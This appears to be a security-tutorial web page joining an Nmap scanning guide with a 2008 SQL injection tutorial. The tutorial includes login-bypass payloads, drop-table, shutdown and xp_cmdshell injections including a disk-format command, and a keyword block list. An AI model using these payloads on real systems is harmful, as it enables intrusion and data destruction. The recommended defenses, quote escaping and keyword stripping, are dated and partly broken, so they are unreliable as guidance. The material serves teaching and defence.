* -sF,-sX,-sN Stealth FIN, Xmas, or Null scan (experts only)
-sV Version scan probes open ports determining service and app names/versions
-sR/-I RPC/Identd scan (use with other scan types)
Some Common Options (none are required, most can be combined):
* -O Use TCP/IP fingerprinting to guess remote operating system
-p <range> ports to scan. Example range: ‘1-1024,1080,6666,31337′
-F Only scans ports listed in nmap-services
-v Verbose. Its use is recommended Use twice for greater effect.
-P0 Don’t ping hosts (needed to scan www.microsoft.com and others)
* -Ddecoy_host1,decoy2[,...] Hide scan using many decoys
-6 scans via IPv6 rather than IPv4
-T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane> General timing policy
-n/-R Never do DNS resolution/Always resolve [default: sometimes resolve]
-oN/-oX/-oG <logfile> Output normal/XML/grepable scan logs to <logfile>
-iL <inputfile> Get targets from file; Use ‘-’ for stdin
* -S <your_IP>/-e <devicename> Specify source address or network interface
–interactive Go into interactive mode (then press h for help)
–win_help Windows-specific features
Example: nmap -v -sS -O www.my.com 192.168.0.0/16 ‘192.88-90.*.*’

SEE THE MAN PAGE FOR MANY MORE OPTIONS. – http://insecure.org/nmap/man/

As can be seen from the output of the help menu in the previous listing, Nmap can run many types of scans. Nmap is considered a required tool for all ethical hackers. Nmap’s output provides the open port’s well-known service name, number, and protocol. They can either be open, closed, or filtered. If a port is open, it means that the target device will accept connections on that port. A closed port is not listening for connections, and a filtered port means that a firewall, filter, or other network device is guarding the port and preventing Nmap from fully probing it or determining its status. If a port is reported as unfiltered, it means that the port is closed and no firewall or router appears to be interfering with Nmap’s attempts to determine its status. To run Nmap from the command line, type Nmap, followed by the switch, and then enter a single IP address or a range. For the example shown here, the sT option was used, which performs a TCP full 3-step connection.

C:\nmap-3.93>nmap -sT 192.168.1.108
Starting nmap 3.93 (http://www.insecure.org/nmap) at 2005-10-05 23:42 Central
Daylight Time
Interesting ports on Server (192.168.1.108):
(The 1653 ports scanned but not shown below are in state: filtered)
PORT STATE SERVICE
80/tcp open http
139/tcp open netbios-ssn
515/tcp open printer
548/tcp open afpovertcp
Nmap run completed — 1 IP address (1 host up) scanned in 420.475 seconds

Several interesting ports were found on this computer, including 80 and 139. A UDP scan performed with the -sU switch returned the following results:

C:\nmap-3.93>nmap -sU 192.168.1.108
Starting nmap 3.93 (http://www.insecure.org/nmap) at 2005-10-05 23:47 Central
Daylight Time
Interesting ports on Server (192.168.1.108):
(The 1653 ports scanned but not shown below are in state: filtered)
PORT STATE SERVICE
69/udp open tftp
139/udp open netbios-ssn
Nmap run completed — 1 IP address (1 host up) scanned in 843.713 seconds

Nmap also has a GUI version called NmapFE. Most of the options in NmapFe correspond directly to the command-line version. Some people call NmapFe the Nmap tutor because it displays the command-line syntax at the bottom of the GUI interface. It is no longer updated for Windows but is maintained for the Linux platform.

[FTP bounce]

A creative scan first detailed by ‘Hobbit’, takes advantage of the FTP servers with read/write access. The advantage of this scan can be both anonymity and accessibility. For instance suppose the target network allows FTP data transfer from only its recognized partners.
An attacker might discover a service business partner who has a FTP service running with a world-writeable directory that any anonymous user can drop files into and read them back from. It could even be the ISP hosting services on its FTP server.
The attacker, who has a FTP server and able to run in passive mode, logs in anonymously to the legitimate server and issues instructions for scanning or accessing the target server through a series of FTP commands. He may choose to make this into a batch file and execute it from the legitimate server to avoid detection.
If a connection is established as a means of active data transfer processing (DTP), the client knows a port is open, with a 150 and 226 response issued by the server. If the transfer fails a 425 error will be generated with a refused build data message. The PASV listener connection can be opened on any machine that grants a file write access to the attacker and used to bounce the scan attack for anonymity. Hobbit points out that “it does not even have to be an FTP server — any utility that will listen on a known TCP port and read raw data from it into a file will do”.

Often these scans are executed as batch files padded with junk so that the TCP windows are full and the connection stays alive long enough for the attacker to execute his commands. Fingerprinting the OS can help determine the TCP window size and allow the attacker to pad his commands for further access accordingly. Fingerprinting is discussed in detail later in this module. This scan is hard to trace, permits access to local networks and evades firewalls. However, most FTP servers have patched this vulnerability by adopting countermeasures such as preventing third party connections and disallowing listing of restricted ports. Another measure adopted has been to restrict write access.

[UDP Scan]

We have seen how private ports are assigned at the higher end and UDP scans try to detect the state of the port by transmitting a zero byte UDP packet to the target system and the concerned port. An open port does not respond, while a closed port will reply with an ICMP HOST UNREACHABLE response. Similar to inverse mapping, the absence of evidence is considered as the evidence of presence. The disadvantage to the attacker is that UDP is a connectionless protocol and unlike TCP does not retransmit packets if they are lost or dropped on the network. Moreover, it is easily detected and unreliable (false positives). Linux kernels limit ICMP error message rates, with destination unreachable set to 80 per 4 seconds, thereafter implementing a 1/4 second penalty if the count is exceeded. This makes the scan slow and moreover the scan requires root access. However, it avoids TCP based IDS and can scan non-TCP ports.

Sql injection Chủ nhật, Tháng 3 9 2008 

SQL Injection is an attack method that targets the data residing in a database through the firewall that shields it. It attempts to modify the parameters of a Web-based application in order to alter the SQL statements that are parsed to retrieve data from the database.

Naturally, the first step in this direction should be to uncover web applications that are vulnerable to the attack. The attack takes advantage of poor code and website administration. In SQL injection, user controlled data is placed into a SQL query without being validated for correct format or embedded escape strings. It has been known to affect majority of applications which use a database backend and do not filter variable types. It has been estimated that at least 50% of the large e-commerce sites and about 75% of the medium to small sites are vulnerable to this attack. The dominant cause is the improper validation in CFML, ASP, JSP, and PHP codes. Attackers go about uncovering the susceptible web application by looking at web pages for anything resembling an ID number, category, or name. The attacker may sift through all forms of variables as well as cookies. Many a times session cookies are stored in a database and these cookies are passed into SQL queries with little or no format checks. They may try placing various strings into form fields and in query variables. However, typically, someone looking for SQL vulnerability will start off with single and double quotes and then try with parenthesis and the rest of the punctuation characters. The response expected is any response signifying an error.

(OLE DB Errors)

The user filled fields are enclosed by single quotation marks (‘). So a simple test of the form would be to try using (‘) as the username.
When we just enter in a form that is vulnerable to SQL insertion. If you get OLE Database error, then you can try SQL injections.

[example]

Attackers start by using the single quote in the User ID field of the login page. It returned an error just as they wanted it.

[Error Type]

Microsoft OLE DB Provider for ODBC Drivers (Ox80040E14)

[Microsoft] [ODBC SQL Server Driver] [SQL Server] Unclosed quotation mark before the character string ”’.

/corner/asp/checklogin1.asp, line 7

Browser Type:

Mozilla/(version) (compatible; MSIE 6.0; Windows NT 5.0)

Page: #

POST 36 bytes to /corner/asp/checkloginl.asp

POST Data:

userid=%27&userpwd=%27&Submit=Submit

This output is the first lead the attacker can use. He has a greater chance of succeeding if he can find out which database he is pitted against. This is called database footprinting. Database footprinting is the process of mapping out the tables on the database. Identifying the configuration of the server is crucial in deciding how the site will be attacked. The method chosen to do this will depend on how poorly the server has been configured. In the error statement shown above, it is clear that the site is using a SQL Server. Note that SQL Injection is the attack on the web application, not the web server or services running in the OS. It is typical of an HTML page to use the POST command to send parameters to another ASP page. On a closer look at the source code we find the “FORM” tag, <form name=”form1″ method=”post” action=”checklogin1.asp”> Let us look at the implications.

Exploits occur due to coding errors and inadequate validation checks as well. Often, the emphasis is on acquiring an input and delivering a suitable output. Web applications that do not check the validity of its input, are exposed to the attack.

Another attack type is Login script. The login page at site.com/login.htm is based on this code.

<form action=”Checklogin.asp” method=”post”>
Username: <input type=”text” name=”user_name”><br>
Password: <input type=”password” name=”pwdpass”><br>
<input type=”submit”>
< /form>

The above form points to checklogin.asp where we come across the following code.

Dim p_struser, p_strpass, objRS, strSQL
p_struser = Request.Form (“user_name”)
p_strpass = Request. Form (“pwdpass”)
strSQL = “SELECT * FROM tblUsers ” & _
“WHERE user_name=’” & p_strusr & _
‘”and pwdpass=’” & p_strpass & “”‘
Set objRS = Server. CreateObject(“ADODB.Recordset”)
objRS.Open strSQL, “DSN=…”

If (objRS.EOF) Then
Response. Write “Invalid login.”
Else
Response. Write “You are logged in as” & objRS(“user_name”)
End If

Set objRS = Nothing

At a cursory glance this code looks alright and does what it is supposed to do – check for a valid username and password and allow the user to access the site if it the credentials are valid.

However, note the above statement where the user input from the form is directly used to build a SQL statement. There is no input validation regarding the nature of input. It gives direct control to an attacker who wants to access the database.

For instance if the attacker enters a SELECT statement such as SELECT * FROM tblUsers WHERE user_name=” or “=” and pwdpass = ” or “=”, the query will be executed and all the users from the queried table will be displayed as output. Moreover, the first attacker will be logged in as the first user identified by the first record in the table. It is quite probable that the first user is the superuser or the administrator. Since the form does not check for special characters such as “=”, the attacker is able to use these to achieve his malicious intent. For clarity sake, let us look at a secure code. Note the use of the REPLACE function to take care of the single quote input.

< % Else
strSQL = “SELECT * FROM tblUsers ” _ &
“WHERE username=”‘ & Replace (Request. Form (“usr_name”), “”‘, “”") &’” ” _ &
“AND password=”‘” & Replace (Request. Form(“pwdpass”),’”", “”") &’”;”
Set Login = Server. CreateObject (“ADODB.Connection”)
Login. Open (“DRIVER= {Microsoft Access Driver (*.mdb)};” _ &
“DBQ=” & Server.MapPath (“login.mdb”))
Set rstLogin = Login. Execute (strSQL)
If Not rstLogin.EOF then
%>

SQL Server, among other databases, delimits queries with a semi-colon. The use of a semicolon allows multiple queries to be submitted as one batch and executed sequentially. For example, the query Username: ‘or 1=1; drop table users; — will be executed in two parts. Firstly, it would select the username field for all rows in the users table. Secondly, it would delete the users table.

Login Guessing & Insertion is anoterh way of trying to Hack. The attacker can try to login without a password. Typical usernames would be 1=1 or any text within single quotes. The most common problem seen on Microsoft MS – SQL boxes is the default <blank>sa password.
The attacker can try to guess the username of an account by querying for similar user names (ex: ad%’ is used to query for “admin”).
The attacker can insert data by appending commands or writing queries.

From database fingerprinting, if the attacker has determined that the database backend is SQL server, he will try his luck with the default admin login credentials – namely sa and a blank password. Alternatively he can issue a query so that his query would retrieve a valid username. For instance, to retrieve the administrative account, he can query for users.userName like ‘ad%’ –

Now if the attacker does not want to login and just wants to ‘harvest’ the site, he may try to view extra information which is not otherwise available. He can choose to transform the url such as the ones shown below to retrieve information.

http://www.example.com/shopping/productdetail.asp?SKU=MS01&sCategory=Tools

Here, the “sCategory” is the variable name, and “Tools” is the value assigned to the variable. The attacker changes this valid url into:

http://www.example.com/shopping/productdetail.asp?SKU=MS01&sCategory=Kits

If the code underlying the page has a segment similar to the one shown below:

sub_cat = request (“sCategory”)
sqlstr=”SELECT * FROM product WHERE Category=’” & sub_cat &’”"
Set rs=conn.execute (sqlstr)

Now, the value “Kits” taken in by the variable “sCategory” is attributed to sub_cat and hence the SQL statement becomes:

SELECT * FROM product WHERE Category=’Kits’

Therefore the output will be a result set containing rows that match the WHERE condition. If the attacker appends the following to the valid url,

http://www.example.com/shopping/productdetail.asp?SKU=MS01&sCategory=Tools’or1=1—

The SQL statement becomes SELECT * FROM product WHERE Category=’Tools’ or 1=1 –’

This leads the query to select everything from the product table irrespective of whether Category equals “Tools’ or not. The double dash ” –” instructs the SQL Server to ignore the rest of the query. This is done to eliminate the last hanging single quote (‘). Sometimes, it is possible to replace double dash with single hash “#”.

If the database backend in question is not an SQL Server, it will not recognize the double dash. The attacker can then try appending ‘ or ‘a’='a, which should return the same result.

Depending on the actual SQL query, the various possibilities available to the attacker are:

‘or 1=1–

“or 1=1–

or1=1–

‘ or ‘a’='a

” or “a”=”a

‘) or (‘a’='a

To use the database for his malevolent intent, the attacker needs to figure out more than just what database is running at the backend. He will have to determine the database structure and tables. Revisiting our product table, we see that the attacker can insert commands such as: insert into Category value (library)

Suppose the attacker wants to add a description of the files he wants to upload, he will need to determine the structure of the table. He might be able to do just that, if error messages are returned from the application according to the default behaviour of ASP and decipher any value that can be read by the account the ASP application is using to connect to the SQL Server.

The insertion methods will vary according to the database at the backend. For instance, MS SQL is considered to be the easiest system for SQL Insertion. Oracle has no native command execution capability. In Sybase, the Command exec is disabled by default. However, it is similar to MS SQL – though without as many stored procedures. MySQL is very limited in scope. SubSelects are a possibility with newer versions. It is typically restricted to one SQL command per query. One of SQL Server’s most powerful commands is SHUTDOWN WITH NOWAIT, which causes it to shutdown, immediately stopping the Windows service.

Username: ‘ ; shutdown with nowait; -
- Password [Anything]

This can happen if the script runs the following query:

select userName from users where
userName=’; shutdown with
nowait;-’ and user_Pass=’ ‘

The default installation of SQL Server has the system account (sa) which is accorded all the privileges of the administrator. An attacker who happens to stumble across this account while harvesting websites can take advantage of this and gain access to all commands, delete, rename, and add databases, tables, triggers, and more. One of the attacks he can carry out when he is done with the site is to issue a denial of service by shutting down the SQL Server. A powerful command recognized by SQL Server is SHUTDOWN WITH NOWAIT. This causes the server to shutdown, immediately stopping the Windows service. After this command has been issued, the service must be manually restarted by the administrator. Let us take a look at an example. At an input form such as login, which is susceptible to SQL injection, the attacker issues the following command.

Username: ‘; shutdown with nowait; –
Password: [Anything]

This would make our login.asp script run the following query:

select userName from users where userName=”;
shutdown with nowait; –’and userPass=”

The ‘–’ character sequence is the ’single line comment’ sequence in Transact -SQL, and the ‘;’ character denotes the end of one query and the beginning of another. If he has used the default sa account, or has acquired the required privileges, SQL server will shut down, and will require a restart in order to function again.

Stored Porcedures

There are several extended stored procedures that can cause permanent damage to a system.

We can execute an extended stored procedure using our login form with an injected command as the username as follows:

Username: ‘ ; exec master..xp_xxx; –

Password: [Anything]

Username: ‘ ; exec master..xp_cmdshell ‘ iisreset’ ; –

Password: [Anything]

A stored procedure is a collection of SQL statements that can be called as though they were a single function. A SQL stored procedure is similar to a batch file – both are text files consisting of commands, and can be run by invoking the name of the procedure or batch file. An extended stored procedure (XP) takes the notion of a stored procedure one step further. Where stored procedures consist of text files, XPs are written in high-languages like C and compiled into .DLLs. Stored procedures primarily consists of SQL commands, while XPs can provide entirely new functions via their code. An attacker can take advantage of extended stored procedure by entering a suitable command. This is possible if there is no proper input validation. xp_cmdshell is a built-in extended stored procedure that allows the execution of arbitrary command lines. For example: exec master..xp_cmdshell ‘dir’ will obtain a directory listing of the current working directory of the SQL Server process. In this example, the attacker may try entering the following input into a search form can be used for the attack.

‘ exec master..xp_cmdshell ‘product handy cam/DELETE’ –

When the query string is parsed and sent to SQL Server, the server will process the following code:

SELECT * FROM PTable WHERE input text =” exec master..xp_cmdshell ‘ product
handycam/DELETE’ –’

The advantage of this attack method is that the DLL file only needs to be present on a machine accessible by the SQL Server. Here, the first single quote entered by the user closes the string and SQL Server executes the next SQL statements in the batch including a command to delete a product to the product table in the database.

Server Talks

This command uses the ’speech.voicetext’ object, causing the SQL Server to speak:

admin’; declare @o int, @ret
int exec sp_oacreate
’speech.voicetext’, @o,
‘register’, NULL,’foo’,
‘bar’ exec sp_oasetproperty
@o, ’speed’,150 exec
sp_oamethod @o, ’speak’,
NULL, ‘all your sequel
servers are belong to us’,
528 waitfor delay ‘00:00:05′–

It is possible for an attacker to leverage built-in extended stored procedures which are provided for the creation of ActiveX Automation scripts in SQL server. These scripts are typically written in VBScript or JavaScript, and they create automation objects and interact with them. They are functionally similar to ASP scripts. Similarly an automation script written in Transact-SQL can accomplish what an ASP script or a WSH script will do.

[Eaxmaple 2]

declare @o int, @ret int

exec sp_oacreate ’speech.voicetext’, @o out

exec sp_oamethod @o, ‘register’, NULL, ‘foo’, ‘bar’

exec sp_oasetproperty @o, ’speed’, 150

exec sp_oamethod @o, ’speak’, NULL, ‘all your sequel servers belong to us’, 528

waitfor delay ‘00:00:05′

This uses the ’speech.voicetext’ object, causing the SQL Server to speak.

Preventing Attacks

Minimize Privileges of Database Connection, Disable verbose error messages, Protect the system account ’sa’, Audit Source Code, Escape Single Quotes, Allow only good input, Reject known bad input, Restrict length of input and finally update Database and back it up! The majority of injection attacks require the user of single quotes to terminate an expression. By using a simple replace function and converting all single quotes to two single quotes, you’re greatly reducing the chance of an injection attack succeeding. Using ASP, it’s a simple matter of creating a generic replace function that will handle the single quotes automatically, like this:
function stripQuotes(strWords) <br />
stripQuotes = replace (strWords, “‘”, “”" ;) <br />
end function

Now if you use the stripQuotes function in conjunction with our first query for example, then it would go from this:

select count(*) from users where userName=’alice’ and
userPass=” or 1=1 –’

…to this:

select count(*) from users where userName=’alice’ and
userPass=”‘ or 1=1 –’

This, in effect, stops the injection attack from taking place, because the clause for the WHERE query now requires both the userName and userPass fields to be valid.

Some countermeasure would be to, Remove Culprit Characters/Character Sequences: Certain characters and character sequences such as; –, select, insert and xp_ can be used to perform an SQL injection attack. By removing these characters and character sequences from user input before we build a query, we can help reduce the chance of an injection attack even further. As with the single quote solution, we just need a basic function to handle this:

function killChars(strWords)
dim badChars
dim newChars
badChars = array(“select”, “drop”,”;”,”–”, “insert”,
” delete”, “xp_”)
newChars = strWords
for i = o to uBound(badChars)
newChars = replace(newChars, badChars(i),”")
next
killChars = newChars
end function

Using stripQuotes in combination with killChars greatly removes the chance of any SQL injection attack from succeeding. So if the query:

select prodName from products where id=1; xp_cmdshell ‘format
c: /q /yes ‘; drop database targetDB; –

is run through stripQuotes and then killChars, it would end up looking like this:

prodName from products where id=1 cmdshell “format c:
/q /yes ” database targetDB

This is basically useless, and will return no records from the query. By keeping all text boxes and form fields as short as possible, the number of characters that can be used to formulate an SQL injection attack is greatly reduced. Additional countermeasures include checking data type, and using the post method where possible to post forms.

Conclusion
SQL Injection is an attack methodology that targets the data residing in a database through the firewall that shields it.
It attempts to modify the parameters of a Web -based application in order to alter the SQL statements that are parsed to retrieve data from the database. Database footprinting is the process of mapping out the tables on the database and is a crucial tool in the hands of an attacker. Exploits occur due to coding errors as well as inadequate validation checks. Prevention involves enforcing better coding practices and database administration procedures. You have finally read this article and I hope, it gave you a deeper understanding about today web security and attacks. Remember always patch and update holes because exploits are found commonly and the attacker is not going to wait. Thank you all for reading and continue to show your support to Hackers Centre by spreading good word about our site!

Trang sau »